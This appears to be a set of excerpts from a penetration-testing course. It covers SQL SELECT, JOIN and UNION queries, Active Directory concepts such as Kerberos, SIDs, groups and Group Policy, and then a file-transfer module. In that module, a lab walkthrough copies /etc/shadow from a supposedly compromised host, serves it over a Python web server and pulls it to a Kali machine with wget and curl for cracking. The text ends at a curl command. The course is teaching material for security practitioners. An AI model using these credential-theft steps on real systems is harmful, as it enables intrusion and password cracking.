|---|---|---|
| 1 | Szél | SzelTarcal@gmail.com |
| 2 | Orietta | OCruz@yahoo.com |
| 3 | Saimi | STikkanen@gmail.com |
Table 1 - Table with Users and Emails
Table 1 shows an example database table that has three
rows containing a column for the ID, first name, and email of a user.
In order for the web application to query for the data, the web
application and the database must "speak" a common language.
Relational databases most often understand Structured Query Language
(SQL). SQL[644] is a querying language used to interface with a
database. It tells the database what data the web application wants,
what kind of conditions the data must meet, how to organize the
results, and much more. The database processes the SQL statement and
determines what data matches the statement's conditions. SQL syntax
is designed to be human-readable.
To get data from the users table in the database, we would use
the SELECT[645] statement. The SELECT statement expects
a list of columns that we would want to read from. For example, if
we want to view only the email column, the query would start with
"SELECT email". If we want all columns, we could use the asterisk, *,
character in place of the column name.
Next, the SELECT statement needs a FROM[646] clause and a
table name to declare which table to get the data from. The query to
select all emails from the users table would be:
SELECT email
FROM users
Listing 12 - Selecting Emails from the User Table
The query in Listing 12 would return the following
results:
| SzelTarcal@gmail.com |
| OCruz@yahoo.com |
| STikkanen@gmail.com |
Table 2 - Table with all Emails
In addition to SELECT queries, SQL also contains INSERT (to add
data), UPDATE (to change data), DELETE (to remove data), and many more
commands. We encourage you to research these commands yourself, but
they will not be necessary for this Topic.
It is also possible to limit the results by using the
WHERE[647] clause. For example, if we wanted to only select
the email where the name is "Orietta" or the ID is 3, we can do so by
appending "WHERE first_name = 'Orietta'" and "OR id = 3" to the query.
SELECT id, email
FROM users
WHERE first_name = 'Orietta' OR id = 3
Listing 13 - Selecting IDs and Emails from the User Table Where the First Name is Orietta or the ID is 3
When comparing number values in SQL, the number does not
have to be enclosed in quotes. However, a string value (like
'Orietta'), must be enclosed in quotes. If the query in Listing
13 were executed, the database would
return the following result:
| ID | |
|---|---|
| 2 | OCruz@yahoo.com |
| 3 | STikkanen@gmail.com |
Table 2 - Table where the First Name is Orietta or the ID is 3
SELECT statements, along with WHERE clauses, make up the basics of
using SQL to extract information from a database.
The JOIN and UNION operators allow us to combine rows of data
from multiple tables. Let's cover JOIN first. The JOIN[648]
operator combines data from two tables based on columns that are
identified as keys. A primary key[649] is a unique
identifier for a row of data in a table. It can be any type of value
as long as each row in the table has a unique value. A foreign
key[650] is a column that references a primary key in
a different table. For example, let's say that a database has the
following users table:
| ID | first_name | |
|---|---|---|
| 1 | Szél | SzelTarca@gmail.com |
| 2 | Orietta | OCruz@yahoo.com |
| 3 | Saimi | STikkanen@gmail.com |
Table 3 - Table with Users and Emails
The database also has the following addresses table:
| ID | userid | address |
|---|---|---|
| 1 | 1 | 3768 Benson Street |
| 2 | 2 | 1058 Clarksburg Road |
| 3 | 2 | 665 Ellen Drive |
| 4 | 3 | 2980 Clousson Road |
Table 4 - Table with Userids and Addresses
The users table contains a list of regular users. The addresses
table contains the addresses of the users. While in some situations it
might make more sense for the address to be on the same user table, in
this application users may have multiple addresses. For this reason,
the addresses table has a column that corresponds to the user's ID.
This column is a foreign key that references the users table. In
this example, the Orietta user has two addresses.
If we want to get every user's address but also include the
user's first name, the query would be the one found in Listing
14.
SELECT first_name, address
FROM users
JOIN addresses ON users.id=addresses.userid
Listing 14 - JOIN with users and addresses
The JOIN clause in the example above specifies that the addresses
table should be combined with the users table by cross-referencing
the id column in the users table and the userid column in the
addresses table. This returns the following results:
| first_name | address |
|---|---|
| Szél | 3768 Benson Street |
| Orietta | 1058 Clarksburg Road |
| Orietta | 665 Ellen Drive |
| Saimi | 2980 Clousson Road |
Table 5 - Joined users and addresses Table
In this example, the id column on the users table is the primary
key and the userid column on the addresses table is a foreign key
that references the users table.
The UNION[651] operator allows us to select rows from
multiple tables and combine the results, even if there are no key
relationships between the tables. However, we do need to specify the
same number of columns in each SELECT statement. For the sake of this
example, we will introduce an admins table:
| ID | first_name | disabled | |
|---|---|---|---|
| 1 | Rafael | RafaelC@gmail.com | 1 |
| 2 | Milenka | MPetkovic@yahoo.com | 0 |
| 3 | Marko | MarkoP@gmail.com | 0 |
Table 6 - Admins Table
Using the UNION operator, we can combine the results from the users
and admins tables to get a list of every email. The UNION operator
will combine two SELECT queries as long as they have the same number
of columns. An example can be found in Listing 15.
SELECT id, email
FROM users
UNION
SELECT id, email
FROM admins
Listing 15 - UNION with users and admins
The SQL command in Listing 15 would return the
following information.
| ID | |
|---|---|
| 1 | SzelTarcal@gmail.com |
| 2 | OCruz@yahoo.com |
| 3 | STikkanen@gmail.com |
| 1 | RafaelC@gmail.com |
| 2 | MPetkovic@yahoo.com |
| 3 | MarkoP@gmail.com |
Table 7 - Users and Admins Table
The UNION operator can be very useful to combine disparate data sets
in a single SQL statement.
In this Topic, we will cover the following Learning Units:
Each learner moves at their own pace, but this Topic should take
approximately 6 hours to complete.
In this Topic, we will cover Active Directory's basic concepts
and services along with how organizations implement and use Active
Directory. Most large companies and organizations implement Active
Directory. This means most security professionals, regardless of role,
will likely encounter some aspect of Active Directory in their work.
Active Directory services are directly related to authentication
and authorization. Therefore, from a security perspective, we
fundamentally must have a strong grasp of Active Directory to
understand how organizations attempt to secure and organize
themselves.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
In this Learning Unit, we will learn the core components of Active
Directory and how they work. We will also learn how Active Directory
is often used and implemented by larger organizations.
The purpose of Active Directory Domain Services
(ADDS),[652] commonly called Active Directory, is to
provide a scalable and centralized IT management, authentication, and
authorization framework.
Most larger organizations and companies employ Active Directory
as the core of their IT infrastructure. Due to the prevalence of
Active Directory, all IT security professionals should have a good
fundamental knowledge of how it works and its components.
Active Directory is organized around a top domain, like demo.com.
This is typically the name of the company. The highest-level component
of Active Directory is called a Forest[652-1] which is
self-contained and provides all required services.
It is possible to have sub-domains associated in Active Directory,
like sub.demo.com, in Domains contained under the Forest. In this
Topic, we will focus on the simplest form of Active Directory which
does not contain any sub-domains.
The main element of Active Directory is the Domain Controller
(DC). It stores all relevant information for the Forest and provides
all key authentication and authorization services. Additionally, it
also contains all the core and native management services.
A Forest usually contains multiple domains to allow redundancy of data
and services. In turn, each domain usually cotains multiple Domain
Controllers. All Domain Controllers will replicate Active Directory
data between them to allow each of them to perform most services.
Aside from Domain Controllers, Active Directory usually contains a multitude
of Windows servers and Windows clients. These machines are typically
referred to as domain-joined. The Domain Controllers contain
services to provide both authentication and authorization to computers
and services running on them.
It is also possible to have Linux computers that are members of
a domain. However, the inclusion of Linux machines in a domain is not widespread and does not provide the same level of management.
The main network protocol used to facilitate both authentication and
authorization in Active Directory is called Kerberos.[653]
The current Kerberos authentication protocol, used by Microsoft, is
adopted from the Kerberos version 5 authentication protocol created by
MIT and has been used as Microsoft's primary authentication mechanism
since Windows Server 2003.
At a high level, Kerberos client authentication to a service in Active
Directory involves the use of a domain controller in the role of a
Key Distribution Center, or KDC[654] and uses a ticket system.
This process is illustrated below.
Let's review this process in detail. First, when a user logs in to
their workstation, an Authentication Server Request (AS_REQ)
is sent to the domain controller. The domain controler, acting as a
KDC also maintains the Authentication Server service. The AS_REQ
contains a timestamp that is encrypted using a hash derived from the
password of the user[655] and their username.
When the domain controller receives the request, it looks up the
password hash associated with the specific user and attempts to
decrypt the timestamp. If the decryption process is successful and
the timestamp is not a duplicate, the authentication is considered
successful.
If the timestamp is a duplicate, it could indicate
evidence of a potential replay attack.
Next, the domain controller replies to the client with an
Authentication Server Reply (ASREP). Since Kerberos is a stateless
protocol, the AS_REP contains a _session key and a Ticket Granting
Ticket (TGT). The session key is encrypted using the user's password
hash and may be decrypted by the client and then reused. The TGT
contains information regarding the user, the domain, a timestamp, the
IP address of the client, and the session key.
To avoid tampering, the Ticket Granting Ticket is encrypted by a
secret key known only to the KDC and cannot be decrypted by the
client. Once the client has received the session key and the TGT, the
KDC considers the client authentication complete. By default, the TGT
will be valid for 10 hours, after which a renewal occurs. This renewal
does not require the user to re-enter their password.
When the user wishes to access resources of the domain, such as a
network share or a mailbox it must again contact the KDC.
This time, the client constructs a Ticket Granting Service Request
(TGS_REQ) packet that consists of the current user and a timestamp
encrypted with the session key, the name of the resource, and the
encrypted TGT.
Next, the ticket-granting service on the KDC receives the TGS_REQ,
and if the resource exists in the domain, the TGT is decrypted
using the secret key known only to the KDC. The session key is then
extracted from the TGT and used to decrypt the username and timestamp
of the request. At this point the KDC performs several checks:
If this verification process succeeds, the ticket-granting service
responds to the client with a Ticket Granting Server Reply
(TGS_REP). This packet contains three parts:
The service ticket's service name and session key are encrypted using
the original session key associated with the creation of the TGT. The
service ticket is encrypted using the password hash of the service
account registered with the service in question.
Once the authentication process by the KDC is complete and the
client has both a session key and a service ticket, the service
authentication begins.
First, the client sends the application server an application
request (AP_REQ), which includes the username and a timestamp
encrypted with the session key associated with the service ticket
along with the service ticket itself.
The application server decrypts the service ticket using the service
account password hash and extracts the username and the session key.
It then uses the latter to decrypt the username from the AP_REQ.
If the AP_REQ username matches the one decrypted from the service
ticket, the request is accepted. Before access is granted, the service
inspects the supplied group memberships in the service ticket and
assigns appropriate permissions to the user, after which the user may
access the requested service.
This protocol may seem complicated and perhaps even convoluted, but it
was designed to mitigate various network attacks and prevent the use
of fake credentials.
While the Kerberos protocol handles both authentication and
authorization, Lightweight Directory Access Protocol[656] (LDAP)
is very commonly used to interact with Domain Controllers to submit or
retrieve data.
LDAP is an open-source protocol designed to interact with directory
services. LDAP is alsy easy to interact with from a scripting language
like PowerShell.
Large organizations and enterprises managing Active Directory
require rigid naming conventions, structure layout, and service usage.
Many big companies have multiple physical locations, often including
a large headquarters and smaller satellite buildings such as shops
or branch offices. To manage the IT infrastructure, data centers are
typically centralized in only a few locations. These central locations
are where the Domain Controllers are located.
To allow connections between locations, a multitude of VPN
connections, routers, and switches are needed. An example of the kind
of network topology required for a complex organization is illustrated
in Figure 2.
Having multiple data centers allows an enterprise to ensure redundancy
to branch offices, and usually also provides better performance.
When an organization becomes sufficiently large, it becomes
increasingly crucial to manage their IP ranges and their Domain Name
Resolution (DNS). Typically the Domain Controllers implement the role
of DNS server for the entire Forest.
To successfully manage these setups, IP ranges will often be divided
into different segments based on functionality. Servers in each data
center will get individual subnets that are typically statically
configured.
Each branch office is also supplied with a range of IP addresses for
clients which are handed out by DHCP servers embedded in the local
switches. All these IP ranges are registered on the Domain Controllers
to keep track of how DHCP servers hand out addresses.
The controls described so far are all technical, but one non-technical
yet equally important management feature is naming conventions.
Large companies or enterprises often have more than 1000 servers
and 10,000 client workstations. Those same organizations often have
several hundred IT professionals, which means naming conventions for
servers and clients is critical.
Commonly, servers are named after their functionality along with
indexes. An example is the Domain Controllers, which are often named
DC01, DC02, etc.
Web servers are often named like web01, iis01, or apache01. Database
servers are often named like sql01 or db01. Clients could use basic
names like client001 or a location-specific one like NY001 for a New
York branch office.
This type of naming convention makes it very easy for IT
administrators to identify what the function of a given server is.
Likewise, it becomes easy for security professionals to make educated
guesses as to the function of a given computer without having access
to internal documentation. The flipside of this is that it also allows
attackers to get an intuition for what a machines might do once they
have obtained the computer's name.
Large organizations and enterprises often use additional
products and features which are integrated with Active Directory, such
as the Active Directory Federation Service (ADFS)[657] and Active
Directory Certification Services (ADCS).
ADFS provides an extended way of offering single sign-on and
authorization, while ADCS provides an integrated certification
authority to handle the public key infrastructure.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
In this Learning Unit, we will learn how users and computers
are organized and stored in Active Directory. We are also going to
investigate how group membership works in Active Directory.
Everything inside Active Directory is stored as objects. This also
includes the major elements such as users and computers.
To ensure a unique naming convention for all objects, Active Directory
assigns all objects a Security Identifier or SID[658] which has
the following structure:
S-R-I-S
Listing 1 - Security Identifier format prototype
Within this structure, the SID begins with a literal "S" to identify the
string as a SID, followed by a revision level (usually set to "1"),
an identifier-authority value (often "5" within AD), and one or more
subauthority values.
For example, an actual SID may look like this:
S-1-5-21-2536614405-3629634762-1218571035-1116
Listing 2 - Security Identifier format
The first values in Listing 3 ("S-1-5") are static
within AD. The sub authority value is dynamic and consists of two
primary parts: the domain's numeric identifier (in this case
"21-2536614405-3629634762-1218571035") and a relative identifier or
RID[659] representing the specific object in the domain (in this
case "1116").
The combination of the domain's value and the relative identifier help
ensure that each SID is unique.
To understand how we may view user and computer objects, we must first
discuss the way data is organized on the Domain Controller.
All data is stored either directly at the Forest level or inside
an Organizational Unit (OU). The structure of objects and OUs
in Active Directory can be compared to files and folders on a file
system.
We can view users and computers by opening the native GUI application
Active Directory Users and Computers and navigating to
"Tools" in Server Manager as shown in Figure 3.
Inside Active Directory Users and Computers the OUs can be
expanded as displayed in Figure 4.
The first thing we will focus on is the folder called "Users". This folder contains all the default domain users and is shown in Figure 5.
The only actual user account in this folder is called "Administrator".
It is a built-in account that has full control of the entire forest.
In most enterprises, this account is not used day-to-day, but merely a
"break glass" account in case it is needed.
Next, on the left-hand side, we notice the two custom high-level
OUs demoComputers and demoUsers. A typical Active Directory
OU structure contains multiple high-level OUs which use a naming
convention that is self-explanatory.
In our example, the demoComputers OU contains child OUs for each
variant of server and workstation. Similarly, the demoUsers OU
contains child OUs for each class of users.
When we navigate to demoUsers -> NormalUsers we find the user
object representing the user "Jim" as shown in Figure 6.
From here we can view many attributes present for the object.
It is worth noting that this account is a so-called domain account.
Domain accounts are managed by the Domain Controller, as opposed to
local accounts which are managed by individual computers.
We can use PowerShell to view user objects through the Active
Directory cmdlet Get-ADUser[660] as follows:
PS C:\Users\offsec> Get-ADUser Jim
DistinguishedName : CN=Jim,O=NormalUsers,OU=demoUsers,DC=demo,DC=com
Enabled : True
GivenName : Jim
Name : Jim
ObjectClass : user
ObjectGUID : 7f056c22-7d6b-4a89-9587-e6cdee61f3e3
SamAccountName : jim
SID : S-1-5-21-2661071818-1767017692-878076344-1105
Surname :
UserPrincipalName : jim@demo.com
Listing 4 - Displaying the user Jim
This allows us to use the power of a scripting language to view and
process users as part of system administration or information security
work.
Note that this and other Active Directory cmdlets are only
installed by default on Domain Controllers.
When an application needs access to domain resources or requires
Kerberos authentication, the application is executed in the context
of a domain account. This account is a domain user account but is
typically referred to as a service account.
We notice the OU called ServiceAccounts which contains an account
called sqlsvc. This account is most likely used to execute an SQL
database application on a database server. It is also possible to
execute an application in the context of the local SYSTEM account or
to use a group Managed Service Account (gMSA).[661]
A gMSA has the added benefit of mandatory credential length and
automated credential rotation. In practice, this means that the
account password must be 120 characters long and is changed every 30
days automatically.
The last account type we will examine is computer accounts. When we
navigate to demoComputers -> Servers -> AppServers we find the
computer object APPSRV01 as shown in Figure 7.
When we open the properties of the computer account object, we can
also view its attributes, just like for a user account object.
REMINDER: Syntax for Rdesktop is as follows:
rdesktop -u [user] -p [password] -d [domainName] [ip:port]
For the labs in this Topic, the domainName is demo
So far we have discussed how Active Directory is structured at a
high level, how authentication is performed, and how user accounts
are stored. When we discussed how the Kerberos protocol handles
authentication, we saw that it also deals with authorization.
The authorization process provides access rights and permissions,
which means that to it is largely controlled by membership in
Active Directory groups.
Active Directory handles access permissions through group memberships,
instead of access rights directly on each user account. This is done
to ensure a dynamic and scalable approach that can be modified quickly
and easily.
In Active Directory, two major types of groups exist: Distribution
groups and Security groups.[662] Distribution groups are
only used to define email lists and do not have any access rights or
permission abilities. Security groups on the other hand are used for
exactly this purpose.
When we review the Active Directory Users and Computers, we can examine
the folder Users and find all the default groups of the domain, as
displayed in Figure 8.
There are a couple of default security groups worth explaining
here: Enterprise Admins, Domain Admins, and Domain Users. Users
who are members of Enterprise Admins and Domain Admins are domain
administrators, which means they have unrestricted access to the
entire domain. Any member of the Enterprise Admins group is also a
domain administrator of any other domain in the Forest.
If we double-click on the group Domain Admins and navigate to the
Members tab, we find that the domain user Offsec is a member as
shown in Figure 9.
Due to this group membership, the user Offsec is a domain administrator.
The Domain Users group contains all domain users who are present
in the domain and gives permissions to basic services such as logon to
workstations.
Now we will examine the OU named demoGroups, which is
used to store all custom groups in the domain.
In it, we find five groups; FirstGroup, SecondGroup, ThirdGroup,
ServerAdmins and ServerHelpDesk. For now, we will focus on the
first three groups. If we double-click on ThirdGroup and navigate to
Members, we find that SecondGroup is its only member as displayed
in Figure 10
Additionally, if we double-click on SecondGroup and navigate to
Members, we find that FirstGroup is its sole member. Finally, if we
double-click on FirstGroup and navigate to Members, we find that
it has the user account John as a member.
The notion of group membership within group membership is called
nested groups and is very commonly used in Active Directory. The
power of nested groups is its flexibility, as any user or group can be
dynamically added or removed from a group to provide the desired access.
One of the drawbacks of nested groups is their lack of transparency.
It can be very hard to view the so-called effective group memberships
directly in the graphical user interface.
If we turn to the PowerShell cmdlet Get-ADGroupMember we can use
the -recursive flag to directly determine which user accounts are
members of a given group while inspecting any nested groups. This
lookup is given in Listing 5.
PS C:\Users\offsec> Get-ADGroupMember ThirdGroup -recursive
distinguisedName : CN=John,OU=Helpdesk,OU=demoUsers,DC=demo,DC=com
name : John
objectClass : user
objectGUID : 2e037242-6ea5-43f5-804d-355cd46db895
SamAccountName : john
SID : S-1-5-21-2661071818-1767017692-878076344-1107
Listing 5 - Displaying John as nested member of ThirdGroup
We find quite easily that John is the only user account that is a
member of ThirdGroup.
PowerShell is a very powerful tool when interacting with Active
Directory and has many cmdlets developed by Microsoft to ease
administrative work.
This Learning Unit covers the following Learning Objectives:
This Learning Unit will take approximately 120 minutes to complete.
In this Learning Unit, we will learn what group policy objects are and
how they work in Active Directory. We are also going to learn
how a system administrator often provides access to resources in
Active Directory.
Active Directory's biggest advantage is the ability to centrally
manage authentication and authorization for an organization of any
size. As part of managing an IT infrastructure, it is important to
have the ability to configure settings for applications and operating
systems dynamically regardless of network size.
Active Directory provides a solution for managing many settings
through Group Policy Objects[663] also called GPOs.
GPOs are a native component of Windows, and two main versions
exist. The first is local GPOs and the second version is the ones
configured through Active Directory.
A GPO is a series of XML files that contain settings and
configurations for a multitude of applications and options in
Windows. When a GPO is created it is stored in the SMB path
\\\sysvol, in our case
\\dc01\sysvol.
All members of the Authenticated Users, Domain Users, and Domain
Computers groups have read permissions to SYSVOL.
To create or manage a GPO, we can open Server Manager,
navigate to Tools, and open Group Policy Management. This
will bring up the Group Policy Management application as displayed in
Figure 11.
When a GPO is created, it is linked to either the domain or an OU.
GPOs cannot be linked to folders, which is why system administrators
often create a large number of custom OUs.
To view a pre-configured GPO, we can navigate to demoComputers ->
Workstations where we find the GPO RDP. By right-clicking the
GPO and selecting Edit, we can view the Group Policy Management
Editor application.
In the GPO editor, we find two main categories: Computer
Configuration and User Configuration as shown in Figure
12.
Computer Configuration handles the settings configured by the GPO
and applies them to all computer objects in an OU, while User
Configuration applies to all user objects in an OU.
There exists a huge number of possible GPO settings. Additionally, most
Microsoft applications also come with installable GPOs, such as
Microsoft Word, Exchange, or SharePoint. Many third-party applications
also have developed GPOs that can be imported.
As an example, we will navigate to Computer Configuration ->
Administrative Templates -> Windows Components -> Remote Desktop
Services -> Remote Desktop Session Host -> Connections and find
the setting Allow Users to connect remotely by using Remote Desktop
Services.
When we open the setting, we find that it has been enabled as
displayed in Figure 13.
By enabling this setting in a GPO, a remote desktop will be enabled on
all computers inside the given OU.
A single GPO can contain many settings simultaneously, which makes
browsing the settings to detect which are configured extremely
difficult. Instead, we can close the Group Policy Editor and navigate
to the RDP GPO in Group Policy Management and select the Settings
tab.
In the Settings tab, we can expand the Computer Configuration which
shows all the configured GPO settings for the GPO as shown in Figure
14.
This presents a more direct approach to viewing the contents of a GPO.
When a GPO is created it must be applied to the user or computer
objects it is linked to, but since it is possible to have multiple
GPOs with conflicting settings in child OUs, a priority system is
required.
GPOs are processed in the following order:
The GPO which is applied last will be the effective one.
GPOs in Active Directory work by each domain-joined computer asking
for updates from the Domain Controller every 90 minutes. It is also
possible to force an update from a domain-joined computer by executing
the command gpupdate /force.
Most organizations will create a multitude of GPOs where each
configures a specific setting. The naming convention of GPOs is also
important for quickly determining what they do and for keeping track
of them.
A domain joined computer in an enterprise will be affected by many
GPOs, which means the effective settings can be hard to predict.
Luckily the native command gpresult /H outfile.html generates
an HTML file containing the final settings for the specific computer it
is executed on.
Group Policy Objects are a very important part of managing Active
Directory and large organizations or enterprises will configure most of
their settings and options through them.
We have now gone through the most important components of Active
Directory and have an idea of how large organizations and enterprises
configure and name their infrastructure.
As previously mentioned, the biggest strength of Active Directory is
the ability to manage access permissions centrally and dynamically.
In most companies, system administrators have some sort of training,
which often aligns with Microsoft's suggested best practices.
One key example which is often important in information security
is how administrative permissions are assigned.
As an example, we will examine a GPO which provides the group
ServerAdmins with local administrator permissions on all servers.
To view the GPO we open Group Policy Management and navigate
to demoComputers -> Servers and click ServerAdmins. By going
to the tab Settings, we find the settings configured by the GPO as
displayed in Figure 15.
Here we find an entry in the Restricted Groups, which is set for
the local Administrator group and the member is the domain group
ServerAdmins.
Since the GPO is linked to the Servers OU, it means that all
members of the domain group ServerAdmins will be a member of the
Administrators group for each computer inside the Servers OU.
Configuring administrative access permissions in Active Directory in
this manner is very common and part of Microsoft's suggested best practices.
In this Module, we will cover the following Learning Units:
Depending on the target host and network configurations we encounter
during a penetration test, we may use a variety of file transfer tools
and techniques. In this Module, we'll demonstrate some of the most
useful techniques.
This Learning Unit covers the following Learning Objectives:
The file transfer methods we discuss in this module could endanger
the success of our engagement and should be used with caution and only
under specific conditions. We will discuss these conditions in this
section.
We will also cover three services that can be configured on our Kali
system to assist in the file transfer process.
In some cases, we may need to transfer attack tools and utilities to
our target. However, transferring these tools can be dangerous for
several reasons.
First, our post-exploitation attack tools could be abused by malicious
parties, which puts the client's resources at risk. It is extremely
important to document uploads and remove them after the assessment is
completed.
Second, antivirus software, which scans endpoint filesystems in
search of pre-defined file signatures, can become a huge frustration
for us during this phase. This software, which is ubiquitous in most
corporate environments, will detect our attack tools, quarantine them
(rendering them useless), and alert a system administrator.
If the system administrator is diligent, this will cost us a precious
internal remote shell, or in extreme cases, signal the effective end
of our engagement.
As a general rule of thumb, we should always try to use native tools
on the compromised system. Alternatively, we can upload additional
tools when native ones are insufficient, when we have determined that
the risk of detection is minimized, or when our need outweighs the
risk of detection. It's also important that we analyze and scan any
third-party tool before we upload them to a client system to avoid
uploading malware.
In order to accommodate the exercises in this Module, we'll install
the Pure-FTPd server on our Kali machine.
If you already have an FTP server configured on your Kali system,
you may skip this section.
kali@kali:~$ sudo apt update && sudo apt install pure-ftpd
Listing 1 - Installing Pure-FTPd on Kali
If we get an error about a dpkg lock, we can use the kill -9
command to get past this lock. We may need to run our kill
command more than once, as well.
Before any clients can connect to our FTP server, we need to
create a new group and user for Pure-FTPd, and execute a bunch
of commands. We can add all those tasks into a bash script file
(setup-ftp.sh), which will automate the execution of those tasks.
We can use any text editor to create the file, but the file should
match the output below:
kali@kali:~$ cat > ./setup-ftp.sh
#!/bin/bash
sudo groupadd ftpgroup
sudo useradd -g ftpgroup -d /dev/null -s /etc ftpuser
sudo pure-pw useradd offsec -u ftpuser -d /ftphome
sudo pure-pw mkdb
cd /etc/pure-ftpd/auth/
sudo ln -s ../conf/PureDB 60pdb
sudo mkdir -p /ftphome
sudo chown -R ftpuser:ftpgroup /ftphome/
sudo systemctl restart pure-ftpd
Listing 2 - Bash script to setup Pure-FTPd on Kali
After pasting these commands, we'll press C+d to
create the bash file. Next, we'll make the script executable, and then
run it, entering lab as the password for the offsec user when
prompted:
kali@kali:~$ chmod +x setup-ftp.sh
kali@kali:~$ sudo ./setup-ftp.sh
Password:
Enter it again:
Restarting ftp server
Listing 3 - Setting up and starting Pure-FTPd on Kali
The script automatically restarts the FTP service, but it's important
we know how to manually start and stop the pure-ftpd service. Since
it's currently running, let's get the status of the service by
entering the following command:
kali@kali:~$ systemctl status pure-ftpd
● pure-ftpd.service
Loaded: loaded (/etc/init.d/pure-ftpd; generated)
Active: active (running) since Fri 2022-08-19 09:44:41 MST; 1min 11s ago
Docs: man:systemd-sysv-generator(8)
Process: 21274 ExecStart=/etc/init.d/pure-ftpd start (code=exited, status=0/SUCCESS)
Tasks: 3 (limit: 4585)
Memory: 1.5M
CPU: 2.643s
CGroup: /system.slice/pure-ftpd.service
├─21285 "pure-ftpd (SERVER)"
├─21287 "pure-ftpd (IDLE)"
└─21288 "pure-ftpd (PRIV)"
Listing 4 - Checking status of pure-ftpd service
The service is currently running on our Kali system. We can easily
start it with systemctl start pure-ftpd or stop it with
systemctl stop pure-ftpd.
We can also create a Trivial File Transfer Protocol (TFTP) service
with atftpd. Before we learn how to transfer files with TFTP, we'll
first need to install and configure a TFTP server in Kali and create
a directory to store and serve files. Next, we'll update the ownership
of the directory so we can write files to it. Let's run atftpd as
a daemon on UDP port 69 and direct it to use the newly created
/tftp directory.
kali@kali:~$ cat > setup-atftpd.sh
#!/bin/bash
sudo apt update
sudo apt install atftpd
sudo mkdir /tftp
sudo chown nobody: /tftp
sudo atftpd --daemon --port 69 /tftp
Listing 5 - Setting up a TFTP server on Kali through a script
After providing all the mentioned commands, we'll press
C+d to complete the file creation task. After the
file is created, we will make it executable and run the script, the
same as we did in the Pure-FTPd section of this Module.
With the TFTP server set up and configured, we can use TFTP to
transfer files on network, IoT, and other small form-factor devices.
Apache2 is a web service that is installed by default on Kali. We can
leverage this service to host files for downloads or serve as a way to
receive files from a target host.
Let's start the Apache2 service with the following command:
kali@kali:~$ sudo systemctl start apache2
[sudo] password for kali:
Listing 6 - Apache2 start
After we start the Apache2 service, we can open a browser and navigate
to http://127.0.0.1/ on our Kali host to view the default
homepage. Let's do this now.
The default Apache2 homepage is displayed in the web browser. If we
want to change the contents of our web server page, we simply change
the files in the web root,[664] located on our Kali host at
/var/www/html/.
Let's run the following command to display the contents of the
html directory:
kali@kali:~$ ls -al /var/www/html/
total 24
drwxr-xr-x 2 root root 4096 Aug 29 08:42 .
drwxr-xr-x 3 root root 4096 Aug 29 08:36 ..
-rw-r--r-- 1 root root 10701 Aug 29 08:42 index.html
-rw-r--r-- 1 root root 615 Aug 29 08:40 index.nginx-debian.html
Listing 7 - Listing default web root files
These are the default files in the web root. The index.html file
contains the HTML for the main web page. We can modify, add, and/or
remove files in /var/www/html/ according to our needs. We will
cover the modifications of the web root contents in the next Learning
Unit.
This Learning Unit will cover the following Learning Objectives:
File transfer is critical during penetration tests. As we practice
our techniques, we must prepare for a variety of operating systems and
available tools. In this Learning Unit we'll demonstrate many of these
techniques and tools.
We'll use the FileTransfers-Tooling VM, described in the
Resources section below. To follow along, start the exercise host
before continuing.
To prepare our demonstration environment, let's SSH into the exercise
host with root and FileTransfersToolingSetup credentials.
kali@kali:~$ ssh root@192.168.50.154
root@192.168.50.154's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-126-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
0 updates can be applied immediately.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Thu Sep 29 17:06:16 2022 from 192.168.48.3
root@file-transfers-setup:~#
Listing 8 - SSH connection to FileTransfers-Tooling VM
Let's imagine that we gained root access to this host during a
penetration testing engagement. Now we've reached a point that we
need to identify easy-to-crack passwords on the target system. We'll
begin by transferring the /etc/shadow file from the target to our Kali
host.
root@file-transfers-setup:~# cp /etc/shadow .
Listing 9 - Copying /etc/shadow to current directory
Next, we'll start a web service with the http.server Python 3
module:
python3 -m http.server <port>
Listing 10 - Running Python 3 http.server module
Let's set our port to 8000 since port 80 is already in use.
root@file-transfers-setup:~# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
Listing 11 - Running Python 3 web service on port 8000
With our temporary web service running on port 8000, we'll run
wget,[408-1] a very helpful utility for downloading files from a web
server. Let's run it without arguments to display the usage.
kali@kali:~$ wget
wget: missing URL
Usage: wget [OPTION]... [URL]...
Try `wget --help' for more options.
Listing 12 - Displaying wget usage
We won't need any special options to download /etc/shadow,
only the target URL.
kali@kali:~$ wget http://192.168.50.154:8000/shadow
--2022-09-29 11:31:09-- http://192.168.50.154:8000/shadow
Connecting to 192.168.50.154:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1025 (1.0K) [application/octet-stream]
Saving to: ‘shadow’
shadow 100%[====================================================>] 1.00K --.-KB/s in 0.003s
2022-09-29 11:31:09 (398 KB/s) - ‘shadow’ saved [1025/1025]
Listing 13 - Downloading shadow file with wget
We've successfully downloaded the shadow file to our Kali host. In
this case, it kept the original name. We could use the -O option
to save it as a different name. Let's try that out now. We'll download
the file again and save it as toCrack.txt on our Kali host.
kali@kali:~$ wget http://192.168.50.154:8000/shadow -O toCrack.txt
--2022-09-29 11:33:36-- http://192.168.50.154:8000/shadow
Connecting to 192.168.50.154:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1025 (1.0K) [application/octet-stream]
Saving to: ‘toCrack.txt’
toCrack.txt 100%[====================================================>] 1.00K --.-KB/s in 0.001s
2022-09-29 11:33:36 (1.44 MB/s) - ‘toCrack.txt’ saved [1025/1025]
Listing 14 - Downloading and renaming shadow file with wget
We successfully downloaded the shadow file and saved it as
toCrack.txt on our Kali host.
Before we move on, let's delete the previously downloaded files.
kali@kali:~$ rm shadow toCrack.txt
Listing 15 - Deleting wget downloads
Now, let's try a transfer with cURL, the Client URL tool.[409-1]
cURL is extremely powerful, allowing a variety of options we can use
to manipulate the request to the server.
The sytanx for cURL is very similar to wget. Let's execute a basic
curl command and download the shadow file.
kali@kali:~$ curl http://192.168.50.154:8000/shadow
